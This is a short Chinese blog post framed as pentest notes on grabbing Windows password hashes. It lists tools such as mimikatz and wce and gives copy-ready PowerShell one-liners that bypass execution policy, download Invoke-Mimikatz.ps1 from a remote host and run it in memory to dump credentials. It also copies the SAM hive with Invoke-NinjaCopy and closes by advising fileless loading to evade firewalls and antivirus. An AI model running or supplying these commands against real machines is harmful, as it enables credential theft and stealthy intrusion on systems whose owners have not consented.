windows下hash抓取的几种方式

前提:在渗透测试过程中,对于windows系统的机器渗透需要注意hash的获取,其中hash分为LM-HASH与NTLM-HASH,在windows系统中,hash的默认存储位置为:

C:\Windows\System32\config\SAM

各种工具:

mimikatz
wce
wce.exe
QuarkPwDump
powershell脚本

powershell脚本:

使用powersploit中的mimikatz.ps1

mimikatz

在线加载:

powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Dumpcreds"

本地加载:

powershell -exec bypass "import-module Invoke-Mimikatz.ps1;Invoke-Mimikatz -Dumpcreds"

Ninja-copy

在线加载:

powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.txt;"

本地加载:

powershell -exec bypass "Import-Module .\Invoke-NinjaCopy.ps1;Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive"

后记:为防止防火墙,杀软等工具杀掉ps1脚本,推荐使用在线加载的方式,文件不落地。

-------------本文结束❤感谢阅读-------------

本文标题:windows下hash抓取的几种方式

文章作者:MaiKeFee

发布时间:2019年09月11日

最后更新:2019年09月11日

原始链接:http://MaiKeFee.com/archives/a9f133be.html